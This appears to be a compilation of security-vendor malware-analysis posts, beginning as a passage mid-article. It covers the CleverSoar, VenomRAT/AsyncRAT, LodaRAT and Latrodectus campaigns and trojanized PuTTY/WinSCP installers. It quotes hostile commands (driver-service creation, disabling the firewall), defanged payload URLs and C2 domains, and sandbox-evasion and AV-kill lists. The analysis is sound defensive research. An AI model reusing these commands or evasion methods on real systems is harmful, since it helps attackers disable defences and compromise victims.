The malware retrieves a raw SMBIOS firmware table by invoking 'GetSystemFirmwareTable' and verifying a specific value presence. In our instance, the installer checks for 'QEMU' (indicating a free string open-sourced emulator) presence in the returned buffer (T1497.001). This technique is a sophisticated Anti-VM method as certain memory regions utilized by the operating system contain distinctive artifacts when the operating system is executed within a virtual environment. Notably, this technique has been previously employed by the Raspberry Robin malware, but in a slightly different way.

Windows Defender Emulator

The installer employs the 'LdrGetDllHandleEx' and 'RtlImageDirectoryEntryToData' functions to ascertain the state of Windows Defender’s emulator (T1497.001). Additionally, it utilizes the 'NtIsProcessInJob' and 'NtCompressKey' functions for the same purpose. These three anti-emulation techniques are publicly available in the UACME open-source project. Upon successful completion of these anti-emulation checks, the installer logs that defender checks were successfully bypassed and proceeds to the subsequent check.

Windows 10 or Windows 11

Initially, the installer verifies the operating system version by invoking the 'GetVersionExW' function (T1082). To identify whether the malware is executing on the Windows 10 operating system or Windows 11, the presence of the 'C:\Windows\System32\Taskbar.dll' file is checked, as this file can only be found on Windows 11 operating systems.

3rd Party DLL Injection Prevention

The CleverSoar installer modifies the processes mitigation policy to include the restriction 'Signatures restricted (Microsoft only)' (T1543). This action prevents non-Microsoft-signed binaries from being injected into the affected process. By implementing this technique, Anti-Virus and EDR solutions that employ userland hooking cannot inject their DLLs into the running process.

Timing Anti-Debug

The installer also executes timing anti-debug checks by invoking the 'GetTickCount64' function twice and measuring the delay between instructions and their execution (T1622).

Simple Anti-Debug check

The CleverSoar installer employs the 'IsDebuggerPresent' API call to ascertain whether the process is currently undergoing debugging (T1622).

Anti-Sandbox/Anti-VM Username Check

Upon the successful completion of all preceding checks, the malware retrieves the current username and subsequently compares it to the following (T1497.001):

'CurrentUser, Sandbox, Emily, HAPUBWS, Hone Lee, IT-ADMIN, Johnaon, Miller, miloza, Peter Wilson, timmy, sand box, malware, maltest, test user, virus, John Doe, 9ZaXj, WALKER, vbccsb_*, vbccsb.'

While most of these usernames are well known for being used by sandboxes and emulator solutions, two of them seem to be misspelled: 'Hone Lee' instead of 'Hong Lee' and 'Johnaon' instead of 'Johnson'.

There are two possible reasons for this misspell, first, the threat actor typed those names manually, and the second one might be, the threat actor found that those are more recent names used by sandboxes.

Once the username check bypass is successfully executed, the malware proceeds to complete the evasion phase and initiates its malicious actions.

Malicious Activity

Upon successful completion of all environmental checks, the installer proceeds to the system language verification. This process involves retrieving the language identifier (ID) for the user interface language and verifying if that ID corresponds to one of the Chinese language IDs (0x804, 0xC04, 0x1404, 0x1004) or the Vietnamese ID (0x42A). If the language ID does not match any of these identifiers, the malware terminates its execution (T1614.001).

This observation suggests a potential threat actor’s intention to target only endpoints within these two countries.

Subsequently, the installer creates the 'HKCU\SOFTWARE\Magisk' (T1112) registry key and searches for the 'ring3_username' value under it. If the value is not present, the malware retrieves the user name that the 'explorer.exe' process is running as and sets the 'ring3_username' value.

The installer verifies if virtualization is enabled in the firmware and made available by the operating system by calling 'IsProcessorFeaturePresent' with 0x15 (PF_VIRT_FIRMWARE_ENABLED) and creates the 'INIT.dat' file in the 'C:\Program Files (x86)\Windows NT' directory. Next, it enumerates processes and checks if one of 'ZhuDongFangYu.exe', 'QHActiveDefense.exe', 'HipsTray.exe', or 'HipsDaemon.exe' is running (T1518.001). The first two processes belong to 360 Total Security (Chinese Anti-Virus Software), and the last two belong to HeroBravo System Diagnostics. If one of these processes is discovered, the installer proceeds to adjust 'Se_Debug_Privilege' to the running process (T1134), enumerates running processes once again, searches for 'lsass.exe' and writes into that process (T1055). Unfortunately, we were unable to retrieve the written payload due to an unhandled runtime error. It is noteworthy that during our investigation, we identified several installer versions, and most of them encountered unhandled runtime errors and could not execute.

Upon successful completion of the preceding checks, the installer proceeds to verify the existence of the 'CleverSoarInst' service. If the service is not detected, the installer opens a named '\\.\pipe\ntsvcs' pipe, which is linked to the RPC protocol, to establish a temporary service responsible for creating the 'CleverSoar' service (T1569.002). This temporary service will only execute once, executing the following command: 'cmd /c start sc create CleverSoar' displayname= CleverSoar binPath= “C:\Program Files (x86)\Windows NT\tProtect.dll” type= kernel start= auto'.

This command will create a new 'CleverSoar' service that will commence executing a driver at the system’s startup. The DLL specified within this service is one of the previously dropped files and is, in fact, a vulnerable Sysmon driver commonly employed by threat actors to disable security software. The installer initiates the 'CleverSoar' service and establishes a named '\\.\TfSysMon' pipe connection. Subsequently, it enumerates the currently running processes once more (T1057), searching for any instances that contain one of the following strings:

If one of the listed processes is discovered, the installer employs the 'DeviceIoControl' API call, specifying the process ID and the '0B4A00404h' IoControl code. Upon our examination of the Sysmon driver, this action results in the termination of the identified process (T1489).

Subsequently, CleverSoar installer enumerates the files present in the folder generated by the malware and modifies their attributes by adding 0x6 (FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM). This modification is intended to evade file detection mechanisms (T1564.001).

The next phase involves the installation of a rootkit by creating a service which will run a rootkit dll in system startup. The installer initiates a verification process to ascertain the presence of a service named 'Nidhogg.' If the service is not already in existence, it proceeds to execute the command 'sc create Nidhogg displayname= Nidhogg binPath= “C:\Program Files (x86)\Windows NT\curl.dll” type= kernel start= auto' to create a new 'Nidhogg' service (T1543.003). The service will execute an open-sourced Nidhogg rootkit at system startup (T1014).

CleverSoar employs a persistence mechanism by executing a scheduled task upon user login (T1053). This task is initiated by dropping a .xml file into the user’s temporary folder, which contains a scheduled task XML file. By utilizing the same RPC service method previously mentioned, the installer constructs a service responsible for executing a command that creates the scheduled task with the 'Corp' name. The created task is concealed by modifying the 'Index' value under 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Corp' registry key to 0 (T1564).

After persistence set, the installer turns the Windows firewall off by executing the 'netsh advfirewall set allprofiles state off' command (T1562.004).

The malware now proceeds to the next stages of execution. Firstly, it checks if the 'winnt.exe' binary exists within the malware-created folder. In the event of its presence, the installer executes a command to create a scheduled task that will execute the binary once and immediately delete the scheduled task. The task responsible for executing the 'winnt.exe' is named 'PayloadTask1'. If the binary is not present in the folder, the installer will persistently enumerate the folder and search for it. Based on our analysis of the 'winnt.exe' binary, it appears to be a Winos4.0 command-and-control (C2) framework implant that has recently been covered in Trend Micro’s report.

The installer executes the same process with the 'runtime.exe' binary. The task responsible for executing this binary is designated as 'PayloadTask2'. Based on our investigation, 'runtime.exe' appears to be a custom backdoor, facilitating communication with the C2 server via a proprietary protocol.

By the time of the investigation the C2 server was already down and Rapid7 Labs could not continue the further analysis of interaction between the C2 server and the malware.

Conclusion

The CleverSoar campaign highlights an advanced and targeted threat, employing sophisticated evasion techniques and highly customized malware components like the Winos4.0 framework and Nidhogg rootkit. The campaign's selective targeting of Chinese and Vietnamese-speaking users, along with its layered anti-detection measures, points to a persistent espionage effort by a capable threat actor. While currently aimed at individual users, this campaign's tactics and tools demonstrate a level of sophistication that could easily extend to organizational targets. Organizations in the affected regions should take notice of the TTPs of this actor and monitor suspicious activity.

IOCs

References

• https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer
• https://www.ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes

Remote access tools (RATs) have long been a favorite tool for cyber attackers, since they enable remote control over compromised systems and facilitate data theft, espionage, and continuous monitoring of victims. Among the well-known RATs are VenomRAT and AsyncRAT. These are open-source RATs and have been making headlines for their frequent use by different threat actors, including Blind Eagle/APT-C-36, Coral Rider, NullBulge, and OPERA1ER. Both RATs have their roots in QuasarRAT, another open-source project, which explains their similarities. However, as both have evolved over time, they have diverged in terms of functionalities and behavior, which affects how attackers use them and how they are detected.

Interestingly, as these RATs evolved, some security vendors have started to blur the line between them, often grouping detections under a single label, such as AsyncRAT or AsyncRAT/VenomRAT. This indicates how closely related the two are, but also suggests that their similarities may cause challenges for detection systems. We took a closer look at recent samples of each RAT to examine how they differ, if at all.

This comparison explores the core technical differences between VenomRAT and AsyncRAT by analyzing their architecture, capabilities, and tactics.

Here's a comparison table between VenomRAT and AsyncRAT based on the findings

Technical analysis

In this technical analysis, we compare two specific RAT samples:

• VenomRAT: 1574d418de3976fc9a2ba0be7bf734b919927d49bd5e74b57553dfc6eee67371
• AsyncRAT: caf9e2eac1bac6c5e09376c0f01fed66eea96acc000e564c907e8a1fbd594426

Both AsyncRAT and VenomRAT are open-source remote access tools developed in C# and built on the .NET Framework (v4.0.30319). A preliminary analysis based on CAPA results revealed several shared characteristics between the two. For example, both RATs use standard libraries like System.IO, System.Security.Cryptography, and System.Net for file handling, encryption, and networking. They also have common cryptographic components such as HMACSHA256, AES, and SHA256Managed, indicating similar encryption routines. Indeed, upon closer code examination, we found that their encryption classes were identical, with only one minor difference: AsyncRAT uses a 32-byte binary salt, while VenomRAT uses a 16-byte salt derived from the string "VenomRATByVenom." Additionally, both RATs share similarities in configuration handling, mutex creation, and parts of their anti-analysis class.

However, the CAPA analysis also highlighted distinct differences between the two. Certain features present in one RAT were notably absent in the other. To verify, we manually reviewed code in both samples and described the differences below.

Keylogging and System Hooking

In the samples we analyzed the keylogger was present only in VenomRAT. However, the open-source version of AsyncRAT has a keylogger plugin. We therefore decided to investigate whether the VenomRAT keylogger implementation is the same as AsyncRAT’s implementation. Our findings suggest that the keylogging functionality is different. We summarized a comparative analysis of their keylogging implementations in the table below. Additionally, the VenomRAT keylogger configuration file DataLogs.conf and log files are saved in the user’s %AppData%\MyData folder.

Anti-Analysis

Both AsyncRAT and Venom RAT have similar implementations of the anti-analysis classes. However, we can see notable differences. AsyncRAT focuses on a broad spectrum of detection techniques, including:

• Virtual Machine Detection: It checks for known system manufacturer names such as VMware,VirtualBox, or Hyper-V.
• Sandbox Detection: It looks for sandbox-related DLLs, such as SbieDll.dll from Sandboxie.
• Debugger Detection: AsyncRAT uses CheckRemoteDebuggerPresent to detect if it's being monitored by a debugger.
• Disk Size Check: It avoids execution on machines with less than 60GB disk size.

On the other hand, VenomRAT uses a more targeted approach. The virtual machine detection method in VenomRAT relies on querying system memory through WMI (Windows Management Instrumentation) to query system memory via Win32_CacheMemory. The method relies on counting cache memory entries, and if the number is less than 2 cache memories, it assumes the system is a virtual machine (VM). However, modern VMs are more sophisticated, and simply relying on counting cache memories may not be effective.

The other difference is, instead of targeting debuggers or sandboxes, VenomRAT attempts to avoid running on server operating systems by querying the Win32_OperatingSystem WMI class and checking the ProductType, which differentiates between desktop and server environments. We summarized class differences in the table below.

Hardware Interaction

VenomRAT has hardware interaction capabilities, allowing it to gather detailed system information through WMI queries with ManagementObjectSearcher objects. These features are encapsulated in the CGRInfo class, which enables the collection of CPU, RAM, GPU, and software data:

• GetCPUName(): Retrieves the CPU name and the number of cores
• GetRAM(): Fetches the total installed physical memory (RAM)
• GetGPU(): Obtains the GPU name and driver version
• GetInstalledApplications(): Scans the Windows Registry to compile a list of installed applications
• GetUserProcessList(): Collects information on all running processes with visible windows

The collected data is sent back to the command-and-control (C2) server. This class is absent in both the version of AsyncRAT we analyzed and the open-source version.

DcRAT joined the party with AntiProcess and Camera classes

VenomRAT includes two notable classes absent in AsyncRAT: the AntiProcess and Camera classes.

The AntiProcess class is an anti-monitoring and anti-detection component of VenomRAT. Malware uses the Windows API function CreateToolhelp32Snapshot to get a snapshot of all running processes and search for specific processes. We categorized the processes the malware is looking for below.

System Monitoring Tools that can prevent users from identifying or stopping VenomRAT.

• Taskmgr.exe
• ProcessHacker.exe
• procexp.exe

Security & Antivirus Processes: Terminating them reduces the risk of VenomRAT being detected or removed by security software.

• MSASCui.exe
• MsMpEng.exe
• MpUXSrv.exe
• MpCmdRun.exe
• NisSrv.exe

System Configuration Utilities: By targeting these, VenomRAT prevents users from adjusting security settings, inspecting registry changes, or manually removing the malware.

• ConfigSecurityPolicy.exe
• MSConfig.exe
• Regedit.exe
• UserAccountControlSettings.exe
• Taskkill.exe

If a matching process is found, it terminates it by its process ID (PID).

The Camera class is designed to detect webcams on a Windows system by querying the available system devices using COM interfaces. It retrieves a list of devices by category, specifically looking for video input devices. The class uses the ICreateDevEnum and IPropertyBag interfaces to enumerate and extract the device names.

However, both these classes, although absent in AasyncRAT, are not exclusive to VenomRAT only. Apparently they are exact copycats of yet another open-source RAT, DcRAT.

AMSI and ETW Bypass

This class was found only in the VenomRAT sample and is designed to bypass key Windows security mechanisms through in-memory patching. It specifically disables two critical Windows security features: AMSI (Antimalware Scan Interface) and ETW (Event Tracing for Windows), which are often used by antivirus software and monitoring tools to detect malware.

Key Functions:

• AMSI Bypass: The class patches the AmsiScanBuffer function within amsi.dll to prevent AMSI from scanning for malicious content.
• ETW Bypass: The class patches the EtwEventWrite function in ntdll.dll, which stops ETW from logging events related to the malware’s activity.

The patching process is performed in-memory. The class dynamically checks the system's architecture (32-bit or 64-bit) and loads the appropriate DLLs (amsi.dll and ntdll.dll) to apply the patches based on the platform. The techniques used by VenomRAT closely mirror those found in the SharpSploit project, an open-source tool often used by penetration testers and red teams to test and bypass security features in a controlled environment. SharpSploit contains classes for bypassing both AMSI and ETW using similar in-memory patching methods, which likely served as inspiration for VenomRAT's implementation.

This security bypass functionality makes VenomRAT more capable of evading modern security defenses.

Dynamic API resolution

VenomRAT has yet another class which is absent in AsyncRAT. The DInvokeCore class is implemented to dynamically resolve and call Windows API functions at runtime; this method bypasses traditional static imports, making it harder for antivirus and endpoint detection and response (EDR) systems to detect malicious activity.

Instead of statically importing Windows APIs, the class resolves function addresses at runtime (e.g., from ntdll.dll or kernel32.dll) using methods like GetLibraryAddress and GetExportAddress. This approach makes it difficult for static analysis tools to flag malicious behavior.

It uses the NtProtectVirtualMemory method to alter memory protection settings, allowing execution of code in memory regions that are normally non-executable—an effective method for in-memory execution of malicious payloads.

Implementation of DInvokeCore closely mirrors the open-source SharpSploit Generic class from the D/Invoke project by TheWover. The DInvokeCore class from VenomRAT appears to be a simplified version, which lacks some features but has core techniques for dynamic API invocation.

Conclusion

Our analysis was sparked by detection vendors grouping VenomRAT and AsyncRAT under the same label, blurring the lines between the two. While they indeed belong to the QuasarRAT family, they are still different RATs.

AsyncRAT appears to closely match the latest open-source release (v0.5.8). However, the VenomRAT seems to have evolved and added other capabilities, although a lot of them seem to be a copy-paste from another open-source RAT (DcRAT) and the SharpSploit project. Despite this, VenomRAT presents more advanced evasion techniques, making it a more sophisticated threat.

Therefore, it’s important for security vendors to treat them as distinct threats, recognizing that VenomRAT brings more advanced evasion capabilities, even if much of it isn’t truly unique. To help to resolve this confusion, we are sharing an updated VenomRAT YARA rule with the community, helping improve detection and response efforts.

Rapid7 customers

InsightIDR and Managed Detection and Response (MDR) customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. The following rule will alert on a wide range of malicious hashes tied to behavior in this blog:  Suspicious Process - Malicious Hash On Asset

YARA rule

The VenomRAT YARA rule can be found on the Rapid7 Labs GitHub here.

Rapid7 has observed an ongoing malware campaign involving a new version of LodaRAT. This version possesses the ability to steal cookies and passwords from Microsoft Edge and Brave. LodaRAT, first observed in 2016, is a remote access tool (RAT) written in AutoIt. Development of LodaRAT has continued over the past 8 years, with an Android version distributed in the wild since 2021. This article analyzes the Windows version only.

Originally created for information gathering, LodaRAT has a variety of capabilities for collecting and exfiltrating victim data, delivering additional malware, capturing the victim’s screen, controlling the victim camera or mouse, and even spreading in infected environments. Notably, this appears to be the only update made to that RAT since 2022. Even the embedded DLLs remain the same.

Distribution

Old versions of LodaRAT were using Phishing (T1566) and Known Vulnerability Exploitation (T1203) techniques in their delivery process, but Rapid7 spotted new versions being distributed by DonutLoader (S0695) and CobaltStrike (S0154). We also observed LodaRAT on systems infected with other malware families like AsyncRAT (S1087), Remcos (S0332), Xworm, and more. Though we aren’t able to say for sure whether LodaRAT was distributed with those malware families or simply present by coincidence. New LodaRAT samples masquerade (T1036) as well-known Windows software such as Discord, Skype, and Windows Update, amongst others.

Victimology

While in previous campaigns the threat actor behind this RAT showed interest in specific country-based organizations, the new campaign seems to infect victims all over the world. Approximately 30% of VirusTotal samples were uploaded from the USA.

Attribution

LodaRAT was attributed to the Kasablanka APT by Cisco in 2021; the group was focused on information gathering and espionage targeting Russia and Bangladesh in 2022. The 2024 campaign observed by Rapid7 shows a notable shift in threat actor behavior — i.e., preferring worldwide distribution over specific regional targets — and therefore we would not necessarily attribute this year's campaign to the same APT. Being an AutoIt compiled binary, LodaRAT source code can be easily extracted and customized by a skilled threat actor. Rapid7 also found a GitHub repository with leaked LodaRAT source code. Based on capabilities, variable names, and strings, the leaked code is a four-year-old LodaRAT version, meaning adversaries have had plenty of time to analyze and update the code in newer versions.

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this malware campaign:

• Suspicious Process - LodaRAT Malware Executed
• Suspicious Process - Renamed AutoIt Interpreter

Technical Analysis

In this section we will briefly describe the overall capabilities of LodaRAT. For the full capability list, please see our LodaRAT repository on GitHub. It's worth mentioning that most of the LodaRAT samples we investigated as part of the 2024 campaign had a string obfuscation mechanism. We build a Python script to decrypt those strings and make an AutoIt script human-readable.

The LodaRAT string deobfuscator is available to the community and can be downloaded here. Some of the samples were also packed with the UPX packer.

LodaRAT execution starts with a check for a specifically named window — for example, `UOMGAYFFBC`. This is done to make sure that only one instance of the malware is executed on the system. Next, the malware changes its window title. It also checks whether the infected OS is Windows 10 or 11. Then, it defines local variables and facilitates registry persistence by adding a new value under the `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` registry key (T1547.001). Persistence is not always achieved by adding a new registry value. However, Rapid7 observed that some LodaRAT samples instead created a new scheduled task that will execute a compiled AutoIt every minute (T1053), while others did not attempt to establish persistence at all. Interestingly, in both cases where Rapid7 did not observe a new registry value being added for persistence, the malware still attempted to delete the registry value during the uninstall process.

The malware also checks if one of the following registry values is set:

• HKCU\Software\Win32\data
• HKCU\Software\Win32\img
• HKCU\Software\Win32\keyx
• HKCU\Software\Win32\imgCli
• HKCU\Software\Win32\pidx

All the above keys are set by the malware in response to a specific command from the command-and-control (C2) server. The malware checks whether Windata and Windata\mon folders exist in the user's %AppData% directory, and if not, it creates them. It also sets the mon directory attributes to System and Hidden to evade detection (T1564.001).

The malware will then start a TCP connection to the C2 server, capture the victim's screen, and save the capture in the mon folder (T1113). The C2 beacon contains basic victim information, such as:

1. Whether the user has Administrator rights; if they do, the Admin string will be passed to the C2 server, otherwise the passed parameter will be a string that varies from sample to sample.
2. Username
3. OS version and architecture
4. Whether any anti-virus(AV) solution is running on the system; the malware will tell the C2 server No if no AV solution is found, and Disabled in cases where it is present but not running.
5. Host IP address
6. Desktop resolution
7. Whether the endpoint is a laptop or a desktop
8. Number of files in the mon folder

That information will be combined into the following packet:
x|<Admin/harcoded_string>|x|<Username>|<OS Version>|<OS Architecture>| | |<Disabled/No>|<Host IP address>|ddd|Pr|<Desktop Height>|X2|<Desktop Width>|X3|<Laptop/Desktop>|<Amount of files in mon folder>|beta

In the response, the RAT waits on a command from the C2 server. While a full list of LodaRAT capabilities can be found here, notable capabilities include:

1. Downloading and executing additional payloads: We were able to spot the use of the ngrok reverse proxy utility based on the command the malware executes when receiving it from the C2 server. We can also assess with medium confidence that one other tool downloaded from the C2 server is a lateral movement utility that exploits the SMB protocol to drop and/or execute a malicious binary on a remote host. This assumption is based on malware’s attempt to connect to an internal IP on port 445, after which it receives a tool from the C2 server and uses that utility to run .bin file on the remote host.
2. Executing commands on the victim's host
3. Controlling the victim’s mouse
4. Screen capturing
5. Stealing browser cookies and credentials
6. Disabling Windows Firewall
7. File enumeration and exfiltration
8. Webcam recording
9. Microphone recording
10. New local user creation

In addition, the malware is capable of opening and closing a CD tray, creating a GUI chat window while the conversation is saved to a file.

IOCs

An updated IOC list can be found here.

Conclusion

LodaRAT shows that even older malware can still be a serious threat if it works well enough. While new malware families pop up all the time with fancy updates, LodaRAT has stayed mostly the same since 2021, yet it’s still spreading and infecting systems worldwide. The recent campaign, with its ability to steal credentials from browsers like Microsoft Edge and Brave, proves that small tweaks can keep malware effective without major updates. The fact that LodaRAT keeps working so well reminds us that even older threats shouldn't be underestimated.

The following analysts contributed to the research: Evan McCann, Matt Smith, Ipek Solak, Jake McMahon

Rapid7 has recently observed an campaign targeting users searching for W2 forms using the Microsoft search engine Bing. Users are subsequently directed to a fake IRS website, enticing them to download their W2 form that ultimately downloads a malicious JavaScript (JS) file instead. The JS file, when executed, downloads and executes a Microsoft Software Installer (MSI) package which in turn drops and executes a Dynamic Link Library (DLL) containing the Brute Ratel Badger.

In this blog, we will detail the attack chain and offer preventative measures to help protect users.

Overview:

Starting on June 21, 2024, Rapid7 observed two separate incidents in which users downloaded and executed suspicious JavaScript (JS) files linked to the URL hxxps://grupotefex[.]com/forms-pubs/about-form-w-2/. Following execution of the JS files, Rapid7 observed the download and execution of an MSI file that was responsible for dropping a suspicious DLL into the user's AppData/Roaming/ profile. Upon further analysis, Rapid7 determined that the suspicious DLL contained a Brute Ratel Badger. Brute Ratel is a command and control framework used for red team and adversary simulation.

When executed successfully, the Brute Ratel Badger will subsequently download and inject the Latrodectus malware. Latrodectus is a stealthy backdoor used by threat actors to query information about the compromised machine, execute remote commands, and download and execute additional payloads.

On June 23, Zscaler ThreatLabz issued a tweet indicating that the initial access broker behind the deployment of the malware family known as Latrodectus was using Brute Ratel as a stager.

On June 24, a blog was released by reveng.ai, outlining an identical attack chain that we observed. From the posts, we noted overlapping indicators of compromise (IOC), indicating that the behavior observed was related.

Initial Access:

During analysis of the incidents, Rapid7 observed that users queried the search engine Bing containing the key words W2 form. They subsequently navigated to the domain appointopia[.]com, which re-directed the browser to the URL hxxps://grupotefex[.]com/forms-pubs/about-form-w-2/.

After replicating the incident in a controlled environment, we observed that following the query for w2 form 2024 using Bing, the top result is a link to the domain appointopia[.]com which claims to have W2 forms available for download.

After clicking the link, the browser is directed to the URL hxxps://grupotefex[.]com/forms-pubs/about-form-w-2/, which presents users with a fake IRS site, luring users into downloading their W2 form.

While interacting with the hyperlinks present on the website, we observed that each time, a CAPTCHA would appear, luring the users to solve it.

Upon closer examination, users were presented with a CAPTCHA system, seemingly designed to verify human activity. However, this CAPTCHA was part of a malicious scheme. Once answered successfully, the CAPTCHA would download a malicious JavaScript file named form_ver, appending the file name with the UTC time of access, such as Form_Ver-14-00-21. The source of the downloaded JS file came from a Google Firebase URL, hxxps://firebasestorage.googleapis[.]com/v0/b/namo-426715.appspot.com/o/KB9NQzOsws/Form_Ver-14-00-21.js?alt=media&token=dd7d4363-5441-4b14-af8c-1cb584f829c7. This JavaScript file would then be responsible for downloading the next stage payload.

Technical analysis:

We acquired one of the JS files from the incidents that took place on June 21 and analyzed the contents in a controlled environment. We observed that the JS file contained code hidden between commented out lines. Threat actors employ this technique in order to inflate the size of their files and obfuscate their code with the goal of evading antivirus solutions and hindering reversing.

In addition, we observed that the JavaScript contained a valid Authenticode certificate issued to Brass Door Design Build Inc. Threat actors will embed valid certificates in order to exploit trust mechanisms and make the scripts appear legitimate.

We analyzed the JS files and observed code resembling a technique used for extracting and executing hidden code within comments. Specifically: The code defines a ScriptHandler class that can read in a script file, parse out any lines starting with //////, and store those lines of code in an extractedCode property as seen in Figure 5. The code then defines a method runExtractedCode() that executes that extracted code using new Function(). It instantiates a ScriptHandler for the current script file, extracts the hidden code, and executes it.

This allows hiding arbitrary code within comments in a script, which will then be extracted and executed when the script is run. The comments provide a way to conceal the hidden code. This technique was used to hide malicious code within a script file designed to make the user think it is benign. When the script is executed, the concealed code would be extracted and run without the user's knowledge.

After cleaning up the script file, we observed that the purpose of the script was to download an MSI package from the URL hxxp://85.208.108[.]63/BST.msi and execute it.

In another related incident that occurred on June 25, we observed that the JS file was downloading the payload from a similar URL, hxxp://85.208.108[.]30/neuro.msi.

MSI Analysis

We acquired the latest MSI file, neuro.msi, from hxxp://85.208.108[.]30/neuro.msi and analyzed the contents. We observed that the contents of the MSI file contained a Cabinet (.cab) file named disk1.cab which stored a DLL, capisp.dll.

We also observed that the MSI package neuro.msi contained a custom action whose function was to drop the DLL, capisp.dll, within AppData/Roaming/ folder and execute it using rundll32.exe with the export remi.

We obtained the DLL from the MSI installer and analyzed the contents.

Capisp.dll Analysis

During initial analysis, we observed the DLL was associated with the VLC media player. We also observed that the DLL contained a suspicious resource named نالوقتمتأخر located at the offset of 0x00EB2C0. We determined that the resource name نالوقتمتأخر was Arabic and translates to ‘It is late’, referring to time.

While analyzing the export function remi we observed that the function starts by storing a hardcoded string )5Nmw*CP>sC%dh!E(eT6d$vp<), which is reserved for later use. The function then calculates the resource located at offset (0x00EB2C0) that marks the start of the encrypted data, which will be decrypted using an XOR decryption routine with the previously stored string.

After the data is decrypted, the function then utilizes the Windows API VirtualAlloc to allocate a new region of memory in order to copy and store the decrypted data.

Using that logic, we replicated the process in Cyberchef and observed that the decrypted data resembled another Windows binary. While analyzing the new binary, we observed an interesting string, badge\_x64_rtl.bin.packed.dll. We also observed that the new binary contained yet another embedded binary.
Further analysis revealed that the purpose of the decrypted binary was to load and execute the embedded binary. We identified the embedded binary as a Brute Ratel Badger (BRC4), a remote access agent in Brute Ratel. Upon successful execution, the BRC4 program attempts to establish connections to three hard coded Command and Control (C2) domains:

• bibidj[.]biz
• barsman[.]biz
• garunt[.]biz

In previous versions of the attack, we observed the BRC4 program attempting to establish communication with the C2 domains barsen[.]monster and kurvabbr[.]pw.

Following execution of the BRC4 program, we observed the download of Latrodectus which was subsequently injected into the Explorer.exe process.

We observed that the Latrodectus malware attempts to contact the following URLs:

• hxxps://meakdgahup[.]com/live/
• hxxps://riscoarchez[.]com/live/
• hxxps://jucemaster[.]space/live/
• hxxps://finjuiceer[.]com/live/
• hxxps://trymeakafr[.]com/live/

Conclusion

Rapid7 has observed a recent campaign targeting users searching for W2 forms. The campaign lures users into downloading JS files masqueraded as supposed W2 forms from a fake IRS website. Once the JS files are executed, it downloads and executes MSI packages containing the Brute Ratel badger. Upon successful compromise, the threat actors follow up by deploying the malware family known as Latrodectus, a malicious loader that is used by threat actors to gain a foothold on compromised devices and deploy additional malware.

Mitigation guidance:

➔ Provide user awareness training that's aimed at informing users on how to identify such threats.
➔ Prevent execution of scripting files such as JavaScript and VisualBasic by changing the default ‘open-with’ settings to notepad.exe.
➔ Block or warn on uncategorized sites at the web proxy. Aside from blocking uncategorized sites, certain web proxies will display a warning page, but allow the user to continue by clicking a link in the warning page. This will stop drive-by exploits and malware from being able to download further payloads.

Rapid7 customers:

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this malware campaign:

• Suspicious Process - WScript Runs JavaScript File from Temp Or Download Directory
• Endpoint Prevention - A process attempted 'Self Injection' technique

MITRE ATT&CK Techniques

Indicators of compromise:

Host Based Indicators (HBIs)

Network Based Indicators (NBIs)

Resources

Rapid7 has observed an ongoing campaign to distribute trojanized installers for WinSCP and PuTTY via malicious ads on commonly used search engines, where clicking on the ad leads to typo squatted domains. In at least one observed case, the infection has led to the attempted deployment of ransomware. The analysis conducted by Rapid7 features updates to past research, including a variety of new indicators of compromise, a YARA rule to help identify malicious DLLs, and some observed changes to the malware’s functionality.  Rapid7 has observed the campaign disproportionately affects members of IT teams, who are most likely to download the trojanized files while looking for legitimate versions. Successful execution of the malware then provides the threat actor with an elevated foothold and impedes analysis by blurring the intentions of subsequent administrative actions.

Overview

Beginning in early March 2024, Rapid7 observed the distribution of trojanized installers for the open source utilities WinSCP and PuTTy. WinSCP is a file transfer client, PuTTY a secure shell (SSH) client. The infection chain typically begins after a user searches for a phrase such as download winscp or download putty, on a search engine like Microsoft's Bing. The search results include an ad for the software the user clicks on, which ultimately redirects them to either a clone of the legitimate website, in the case of WinSCP, or a simple download page in the case of PuTTY. In both cases, a link to download a zip archive containing the trojan from a secondary domain was embedded on the web page.

The infection begins after the user has downloaded and extracted the contents of the zip archive and executed setup.exe, which is a renamed copy of pythonw.exe, the legitimate Python hidden console window executable.

Upon execution, setup.exe loads the malicious DLL python311.dll. As seen in Figure 2, the copy of the legitimate python311 DLL which setup.exe is intended to load has actually been renamed to python311x.dll. This technique is known as DLL side-loading, where a malicious DLL can be loaded into a legitimate, signed, executable by mimicking partial functionality and the name of the original library. The process of side-loading the DLL is also facilitated by hijacking the DLL search order, where attempts are made to load DLLs contained within the same directory first, before checking other directories on the system where a legitimate copy might be present. Rapid7 has also observed the Python 3.11 library being targeted in prior malware campaigns, such as the novel IDAT loader, discovered by Rapid7 during August of 2023.

The primary payload contained within python311.dll is a compressed archive encrypted and included within the DLL's resource section. During execution, this archive is unpacked to execute two child processes.

First, the malware executes the unpacked copy of the legitimate WinSCP installer, seen in Figure 3 as WinSCP-6.1.1-Setup.exe. Then, the malicious Python script systemd.py is executed via pythonw.exe after being unpacked into the staging directory %LOCALAPPDATA%\Oracle\ along with numerous Python dependencies. Following the successful execution of both processes, setup.exe then terminates.

The script systemd.py, executed via pythonw.exe, decrypts and executes a second Python script then performs decryption and reflective DLL injection of a Sliver beacon. Reflective DLL injection is the process of loading a library into a process directly from memory instead of from disk. In several cases, Rapid7 observed the threat actor take quick action upon successful contact with the Sliver beacon, downloading additional payloads, including Cobalt Strike beacons. The access is then used to establish persistence via scheduled tasks and newly created services after pivoting via SMB. In a recent incident, Rapid7 observed the threat actor attempt to exfiltrate data using the backup utility Restic, and then deploy ransomware, an attempt which was ultimately blocked during execution.

